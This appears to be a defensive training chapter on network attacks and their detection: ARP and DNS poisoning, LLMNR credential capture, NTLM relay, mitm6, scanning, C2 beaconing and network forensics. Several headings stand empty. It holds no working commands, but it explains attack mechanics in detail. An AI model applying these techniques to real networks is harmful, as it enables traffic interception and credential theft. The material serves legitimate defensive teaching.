Network Attack
Detection

Every network attack exploits a trust assumption that a protocol made about the environment it would run in. ARP assumed all hosts on a segment are trustworthy. DNS assumed resolvers would only answer accurately. LLMNR assumed that if a name can't be resolved, any host on the network willing to answer must know the truth. These assumptions were reasonable in the environments the protocols were designed for — isolated LANs, university networks, trusted intranets. They are catastrophically wrong in adversarial environments.

Understanding which layer of the stack an attack operates at is not merely academic. Layer 2 attacks (ARP poisoning) can intercept traffic before any Layer 3 security control sees it. Layer 3/4 attacks can bypass application-layer inspection. The deeper the attack in the stack, the fewer defensive controls are positioned to observe it — most security tooling operates at Layer 7.

Why Layer 2 Is the Blind Spot

Most enterprise security monitoring is built around Layer 3 and above. Firewalls inspect IP packets. IDS/IPS inspect TCP streams and application-layer payloads. SIEM rules correlate authentication events, DNS queries, and HTTP requests. The switch fabric — Layer 2 — is largely invisible to all of these controls.

ARP poisoning, MAC flooding, and VLAN hopping all operate at Layer 2. They generate no IP traffic before achieving their objective. A network with comprehensive Layer 7 logging but no Layer 2 security controls (dynamic ARP inspection, port security, 802.1X) has a significant blind spot that attackers who understand the stack can exploit silently.

Protocol Trust Assumptions — A Taxonomy

The Attacker's View: Horizontal and Vertical Movement

Network attacks serve two objectives in an engagement. Horizontal movement — using network-level attacks to move laterally between systems at the same privilege level (ARP poisoning for traffic interception, LLMNR poisoning for credential capture). Vertical movement — using captured credentials or relay attacks to escalate privileges (NTLM relay to LDAP, Kerberoasting via the network, DCSync over the replication protocol).

The protocol stack determines both what is possible and what is visible. An attacker who understands where monitoring is deployed can choose the attack layer that produces the least observable signal. A defender who understands the same landscape can position sensors at the layers that are currently blind.

ARP — the Address Resolution Protocol — is how Layer 2 and Layer 3 are bridged. When a host wants to send an IP packet to another host on the same subnet, it first needs the destination's MAC address. ARP resolves that mapping. The protocol was designed in 1982 for a trusted network environment and has no authentication whatsoever. Any host on the segment can send an ARP reply for any IP address, and the receiving host will update its cache accordingly.

The ARP Protocol in Full

What an Attacker Captures in MITM Position

Once in MITM position, the attacker's NIC is in promiscuous mode, forwarding traffic between the real hosts while capturing everything. What this exposes depends on the protocols in use:

• Unencrypted protocols — HTTP, FTP, SMTP, POP3, Telnet, older SMBv1 — everything is visible in cleartext. Credentials, session cookies, file transfers, emails.
• TLS-encrypted protocols — the attacker sees encrypted blobs but can attempt SSL stripping (downgrading HTTPS to HTTP by intercepting the initial redirect) against targets without HSTS.
• NTLM challenge-response — SMB, HTTP NTLM, and other Windows authentication protocols send a challenge-response that the attacker can capture for offline cracking or relay.
• Kerberos tickets — AS-REQ and TGS-REQ packets transit the network and can be captured for offline cracking (AS-REP Roasting targets) or relay.

Detecting ARP Poisoning

Switch-Level Defences

• Dynamic ARP Inspection (DAI) — switch feature that validates ARP packets against a trusted DHCP snooping binding table. If the MAC/IP pair in an ARP reply doesn't match the binding table, the packet is dropped. Eliminates ARP poisoning when DHCP snooping is also enabled.
• Port security — limits the number of MAC addresses permitted on a switch port. Prevents MAC flooding attacks (which fill the switch's CAM table, causing it to broadcast all frames).
• 802.1X port authentication — requires hosts to authenticate before being granted network access at the switch level. An attacker with physical access but no valid credentials is blocked at Layer 2.
• Private VLANs (PVLANs) — prevent Layer 2 communication between hosts in the same VLAN. Hosts can only communicate via the router, which logs the traffic. Eliminates ARP poisoning between hosts in the same segment.

DNS is the directory service of the internet — and one of the most abused protocols in offensive security. Because DNS traffic is nearly universally permitted through firewalls (port 53 outbound is almost always open), it is the protocol of choice for covert channels, C2 beaconing, and data exfiltration. Understanding both why DNS is vulnerable and what abuse looks like in traffic enables detection that signature-based tools frequently miss.

The Kaminsky Attack — Cache Poisoning Mechanics

DNS cache poisoning injects forged records into a resolver's cache, redirecting queries for a legitimate domain to an attacker-controlled IP. The Kaminsky attack (2008) demonstrated that this was practical at scale by exploiting predictable transaction IDs and the ability to flood the resolver with forged responses.

DNS Tunnelling — Data Encoding in Queries

DNS tunnelling encodes arbitrary data into DNS queries and responses, creating a covert channel through firewalls that permit DNS. Tools like iodine, dnscat2, and DNS2TCP implement full IP-over-DNS or shell-over-DNS. The fundamental technique is the same: data is base32/base64 encoded and embedded in subdomain labels of a query to an attacker-controlled domain.

DNS Rebinding — Bypassing Same-Origin Policy

DNS rebinding is a technique that bypasses the same-origin policy and SSRF server-side filters by exploiting the gap between DNS resolution and subsequent use. The attack works by controlling a domain whose DNS TTL is extremely short, then changing the DNS record between the security check and the actual network request.

The Penetration Testing module shows you how to run Responder and what hashes it captures. This chapter explains why those hashes appear — the complete protocol chain that runs between a Windows host failing DNS resolution and an NTLMv2 response arriving in Responder's output. Understanding this chain is what lets you detect, prevent, and explain the vulnerability to network engineers who have never run a pentest tool.

The Windows Name Resolution Chain

When a Windows machine needs to resolve a hostname, it doesn't immediately broadcast to the network. It follows a prioritised sequence of resolution methods, falling back to less secure options only when earlier ones fail:

The NTLMv2 Challenge-Response — What Gets Captured

When Windows connects to what it believes is FILESERVER01 (actually Responder), it initiates NTLM authentication. The NTLMv2 exchange produces a response that depends on the user's password hash and the server's challenge. The attacker captures this response and can crack it offline.

What This Looks Like in a Packet Capture

Disabling the Protocols — GPO Configuration

NTLM relay is arguably the highest-impact network attack class in Active Directory environments. Where passive credential capture (Responder) requires a victim to make an error, coercion-based relay forces authenticated connections from any domain-joined host — including domain controllers — to the attacker's machine. Understanding the cryptographic structure of NTLM explains precisely why relay is possible and exactly what signing prevents.

The NTLM Protocol — Full Cryptographic Structure

Why SMB Signing Breaks Relay

SMB signing cryptographically authenticates every SMB message using a session key derived from the user's NT hash. If an attacker relays a Type 3 message to a server with signing required, that server will demand that subsequent messages are signed — but the attacker doesn't have the session key (which requires knowing the NT hash), so they cannot produce valid signatures. The relay succeeds at the authentication step but every subsequent command fails signature verification.

Coercion — Forcing Authentication Without Waiting

Passive relay (waiting for LLMNR broadcasts) requires the attacker to be on the same network segment and wait for a victim to make a name resolution error. Coercion techniques actively force domain computers — including domain controllers — to authenticate to the attacker on demand. This is a fundamentally different threat model.

Detection via Windows Event IDs

The most common response to the mitm6 attack is "but we don't use IPv6." This misunderstands the threat. The attack doesn't require the organisation to have deployed IPv6. It only requires Windows — which, by default, prefers IPv6 over IPv4 and sends DHCPv6 solicits periodically even on IPv4-only networks. An attacker who understands this can often achieve MITM position and NTLM relay on networks that have never consciously touched IPv6 configuration.

SLAAC and DHCPv6 — The Protocols Being Abused

IPv6 Stateless Address Autoconfiguration (SLAAC) allows hosts to configure their own IPv6 addresses based on Router Advertisement (RA) messages sent by routers. DHCPv6 provides stateful IPv6 address assignment. Both use multicast: RA messages go to ff02::1 (all nodes), DHCPv6 solicits go to ff02::1:2 (all DHCPv6 agents). Any host on the segment can send these messages.

What mitm6 Traffic Looks Like

Mitigation

• Block DHCPv6 on switches — deploy DHCP Guard / RA Guard on switch ports to drop DHCPv6 Advertise and Router Advertisement messages from non-authorised ports. This is the switch-level equivalent of DHCP snooping for IPv4.
• Disable IPv6 where not needed — via GPO: Computer Configuration → Administrative Templates → Network → TCPIP Settings → Disable IPv6 components. Prevents Windows from sending DHCPv6 SOLICITs entirely.
• Disable WPAD — the Web Proxy Auto-Discovery protocol is the mechanism that triggers automatic NTLM authentication. Disable via GPO or set the WpadOverride registry key. Remove the WPAD DNS entry if it exists.
• Enable LDAP signing and channel binding — even if relay occurs, LDAP signing prevents the relayed session from being used for LDAP writes (the objective of the ntlmrelayx LDAP relay chain).

The Penetration Testing module shows nmap flags and their outputs. This chapter shows what those flags produce at the wire level — which packets are sent, what responses are expected, and why the TCP state machine's behaviour differs between open, closed, and filtered ports. This is the knowledge that lets you write IDS rules that detect scanning despite evasion, because you understand what the evasion is actually doing.

The TCP State Machine — What nmap Exploits

OS Fingerprinting — TCP Stack Behaviour Differences

Different operating systems implement the TCP/IP stack differently — initial TTL values, TCP window sizes, IP flags, ICMP response behaviour, and TCP options in SYN packets all vary by OS and version. nmap's -O flag collects these values and compares them against a fingerprint database of thousands of OS/version combinations.

Scan Evasion Techniques and Their Signatures

Command and control infrastructure is the nervous system of a post-exploitation engagement. Once an attacker has code execution on a host, they need a communication channel back to their infrastructure. The challenge for the attacker is making that channel blend into legitimate traffic — and the challenge for defenders is finding the pattern that distinguishes C2 from legitimate communications despite the blending effort.

HTTP/S C2 — What It Looks Like

Modern C2 frameworks (Cobalt Strike, Sliver, Havoc) communicate over HTTPS because HTTPS traffic is nearly universally permitted and the encryption prevents content inspection. The distinguishing characteristics of C2 traffic are not in the content — they are in the metadata: timing, frequency, size patterns, and certificate details.

JA3/JA3S — TLS Fingerprinting

JA3 creates a fingerprint of TLS ClientHello messages — the combination of TLS version, cipher suites, extensions, elliptic curves, and elliptic curve point formats produces a hash that identifies the TLS implementation, not just the content. C2 frameworks have characteristic JA3 hashes that differ from browser TLS stacks even when the User-Agent is spoofed.

Beaconing Detection — Statistical Analysis

The Penetration Testing module covers lateral movement tools and commands. This chapter covers what those tools produce on the wire and in logs — because defenders detecting lateral movement rarely see the tool output, they see Event IDs, NetFlow records, and proxy logs. Understanding the network signature of each technique is what allows defenders to write detection logic that fires on the behaviour regardless of which specific tool is used.

Lateral Movement Technique Network Signatures

Pass-the-Hash vs Legitimate Authentication — The Detection Signal

Network forensics answers questions that endpoint forensics cannot. An attacker who clears Windows event logs, deletes PowerShell history, and removes tools from disk has eliminated most endpoint evidence. The network traffic — if captured — is outside their control. PCAP and NetFlow data captured on network infrastructure tells the story of what happened regardless of what the attacker did to the endpoints they touched.

The Network Forensics Toolkit

Reconstructing an Attack from PCAP

Extracting Credentials from Captures

Network Evidence Limitations

Network forensics is powerful but has structural limitations that investigations must account for:

• Encryption — TLS-encrypted traffic (HTTPS, SMB3 with encryption, RDP) cannot be decrypted without the server's private key. You can see the connection happened, the timing, and the data volumes, but not the content.
• Capture points — you can only analyse traffic that passed through a capture point (SPAN port, TAP, firewall log). East-west traffic on the same switch segment may not have been captured.
• Storage limitations — full PCAP at scale is expensive. Most organisations retain NetFlow data (connection metadata, no payload) for longer periods than full PCAP. NetFlow shows who connected to whom; PCAP shows what was said.
• Timestamps — network timestamps are only as reliable as the clock synchronisation of the capture device. NTP skew between capture devices can misalign the timeline by seconds to minutes.